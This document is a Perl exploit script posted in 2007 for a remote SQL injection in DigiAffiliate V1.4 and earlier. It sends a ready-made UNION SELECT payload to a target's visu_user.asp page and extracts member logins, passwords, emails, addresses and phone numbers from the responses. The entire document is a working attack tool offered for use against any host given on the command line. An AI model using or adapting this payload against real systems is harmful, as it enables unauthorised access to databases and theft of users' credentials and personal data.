digi-sql.txt
Posted on 14 January 2007
#!/usr/bin/perl #[Script Name: DigiAffiliate <= V1.4 Remote Blind SQL Injection Exploit #[Coded by : ajann #[Author : ajann #[Contact : :( #[S.Page : http://www.digiappz.com #[$$ : .299 #[.. : ajann,Turkey use IO::Socket; if(@ARGV < 1){ print " [======================================================================== [// DigiAffiliate <= V1.4 Remote Blind SQL Injection Exploit [// Usage: exploit.pl [target] [// Example: exploit.pl victim.com [// Example: exploit.pl victim.com [// Vuln&Exp : ajann [======================================================================== "; exit(); } #Local variables $server = $ARGV[0]; $server =~ s/(http://)//eg; $host = "http://".$server; $port = "80"; $file = "/visu_user.asp?id="; print "Script <DIR> : "; $dir = <STDIN>; chop ($dir); if ($dir =~ /exit/){ print "-- Exploit Failed[You Are Exited] "; exit(); } if ($dir =~ ///){} else { print "-- Exploit Failed[No DIR] "; exit(); } $target = "-1%20union%20select%200,login,password,name,email,0,fax,city,0,address1,address2,phone,0,0,0,0,city,0,0%20from%20members"; $target = $host.$dir.$file.$target; #Writing data to socket print "+**********************************************************************+ "; print "+ Trying to connect: $server "; $socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die " + Connection failed... "; print $socket "GET $target HTTP/1.1 "; print $socket "Host: $server "; print $socket "Accept: */* "; print $socket "Connection: close "; print "+ Connected!... "; #Getting while($answer = <$socket>) { if ($answer =~ /name="login" size="30" class="gray_back" value="(.*?)">/){ print "+ Exploit succeed! Getting admin information. "; print "+ ---------------- + "; print "+ Username: $1 "; } if ($answer =~ /name="password" size="30" class="gray_back" value="(.*?)">/){ print "+ Password: $1 "; } if ($answer =~ /name="name" size="30" class="gray_back" value="(.*?)">/){ print "+ Name: $1 "; } if ($answer =~ /name="email" size="30" class="gray_back" value="(.*?)" onBlur/){ print "+ Email: $1 "; } if ($answer =~ /name="address1" size="30" class="gray_back" value="(.*?)">/){ print "+ Address1: $1 "; } if ($answer =~ /name="address2" size="30" class="gray_back" value="(.*?)">/){ print "+ Address1: $1 "; } if ($answer =~ /name="city" size="30" class="gray_back" value="(.*?)">/){ print "+ City: $1 "; } if ($answer =~ /name="postcode" size="30" class="gray_back" value="(.*?)">/){ print "+ PostCode: $1 "; } if ($answer =~ /name="county" size="30" class="gray_back" value="(.*?)">/){ print "+ Country: $1 "; } if ($answer =~ /name="phone" size="30" class="gray_back" value="(.*?)">/){ print "+ Phone: $1 "; } if ($answer =~ /name="iurl" size="24" class="gray_back" value="(.*?)">/){ print "+ Fax: $1 "; } if ($answer =~ /name="title" size="30" class="gray_back" value="(.*?)">/){ print "+ Country: $1 "; } if ($answer =~ /Syntax error/) { print "+ Exploit Failed : ( "; print "+**********************************************************************+ "; exit(); } if ($answer =~ /Internal Server Error/) { print "+ Exploit Failed : ( "; print "+**********************************************************************+ "; exit(); } }